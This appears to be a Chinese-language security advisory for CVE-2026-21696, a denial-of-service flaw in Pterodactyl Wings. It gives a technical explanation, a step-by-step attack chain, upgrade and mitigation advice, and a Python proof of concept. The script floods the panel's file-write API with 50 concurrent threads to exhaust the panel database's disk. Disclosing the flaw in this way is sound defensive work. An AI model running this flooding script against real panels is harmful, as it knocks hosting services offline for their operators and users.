IPBUF安全漏洞报告
English
CVE-2026-21696 CVSS 6.5 中危

CVE-2026-21696 Pterodactyl Wings SQLite参数限制DoS漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-21696
漏洞类型
拒绝服务/资源消耗
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pterodactyl Wings

相关标签

拒绝服务资源消耗SQLitePterodactylWings面板游戏服务器Cron参数限制数据库

漏洞概述

CVE-2026-21696是Pterodactyl Wings服务器控制平面中的一个中等严重性拒绝服务漏洞。该漏洞存在于Wings 1.7.0至1.12.0之前的版本中,源于 Wings 在处理活动日志条目时未考虑SQLite数据库的最大参数限制。当Wings尝试在单个SQL查询中删除超过32766条活动日志记录时,会触发SQL logic error (too many SQL variables),导致删除操作失败。由于这些条目无法被删除,Wings会无限循环地将相同的活动数据重复上传到面板,每次都会增加新的活动记录,最终导致面板数据库服务器的磁盘空间被耗尽,造成服务中断。攻击者可以利用此漏洞通过低权限账户触发大量活动日志的生成,从而实施拒绝服务攻击。

技术细节

该漏洞的技术根源在于SQLite 3.32.0引入的32766个SQL变量限制。当Wings处理活动日志时,会将已处理的日志条目从本地SQLite数据库中删除。然而,在activity_cron.go和sftp_cron.go的实现中,删除操作使用单个SQL DELETE语句配合IN子句包含所有待删除记录的主键。当活动日志数量超过32766条时,SQLite会抛出SQL logic error: too many SQL variables (1)错误,导致删除操作完全失败且不回滚任何记录。被标记为已处理的日志条目永久保留在数据库中,但由于状态已被更新,这些条目在后续cron任务运行时会被重新读取、处理和发送。由于每次处理都会累积新的活动记录,数据量呈指数级增长,最终导致面板数据库所在服务器的磁盘空间被完全占用。攻击者只需创建一个能产生大量活动日志的场景(如频繁的SFTP连接、文件操作等),即可在cron任务运行时触发该漏洞。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标Pterodactyl面板及其Wings服务器版本,确认版本在1.7.0到1.12.0之间
STEP 2
2. 获取低权限访问
攻击者获取目标服务器的低权限用户账户(通过正常注册或窃取凭据)
STEP 3
3. 触发活动日志生成
通过SFTP连接、文件操作、命令执行等方式在目标服务器上生成大量活动日志,累积超过32766条记录
STEP 4
4. 等待Wings Cron执行
等待Wings的activity_cron或sftp_cron定时任务运行,开始处理活动日志
STEP 5
5. 触发SQLite错误
Wings尝试在单个DELETE语句中删除超过32766条记录,触发'too many SQL variables'错误
STEP 6
6. 无限循环处理
删除失败的条目被重复处理和上传,每次都累积新的活动数据,导致数据量指数级增长
STEP 7
7. 磁盘空间耗尽
面板数据库服务器磁盘空间被不断增长的活动日志数据耗尽,导致数据库写入失败和服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-21696 PoC - Generate excessive activity logs to trigger SQLite parameter limit # This PoC demonstrates how an attacker can trigger the vulnerability by generating # more than 32766 activity log entries that will cause Wings to fail deleting them import requests import time import concurrent.futures # Target configuration TARGET_PANEL = "https://pterodactyl-panel.local" API_KEY = "your_low_privileged_api_key" SERVER_ID = "your_server_id" def generate_sftp_activity(session, server_id): """Generate SFTP activity to create log entries""" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Create multiple file operations via SFTP to generate activity logs for i in range(1000): try: # Simulate file upload/download operations response = session.post( f"{TARGET_PANEL}/api/client/servers/{server_id}/files/write", headers=headers, json={"path": f"/tmp/test_{i}.txt", "content": "x" * 1000} ) except Exception as e: print(f"Activity {i} triggered") def trigger_vulnerability(): """Trigger CVE-2026-21696 by generating excessive activity logs""" session = requests.Session() print("Starting activity log generation...") print("Goal: Generate > 32766 log entries to trigger SQLite parameter limit") # Use concurrent requests to generate logs faster with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(generate_sftp_activity, session, SERVER_ID) for _ in range(35)] concurrent.futures.wait(futures) print("Activity logs generated. Wait for Wings cron job to process...") print("The cron job will fail to delete entries and repeatedly resend them.") print("Monitor disk space on panel database server.") if __name__ == "__main__": trigger_vulnerability()

影响范围

Pterodactyl Wings >= 1.7.0
Pterodactyl Wings < 1.12.0

防御指南

临时缓解措施
立即将Pterodactyl Wings升级到1.12.0或更高版本。在无法立即升级的情况下,可以暂时限制用户创建过多活动日志的频率,增加cron任务的执行频率以避免单次处理累积过多记录,并密切监控数据库磁盘空间使用情况。同时考虑对面板数据库实施配额限制和自动清理机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表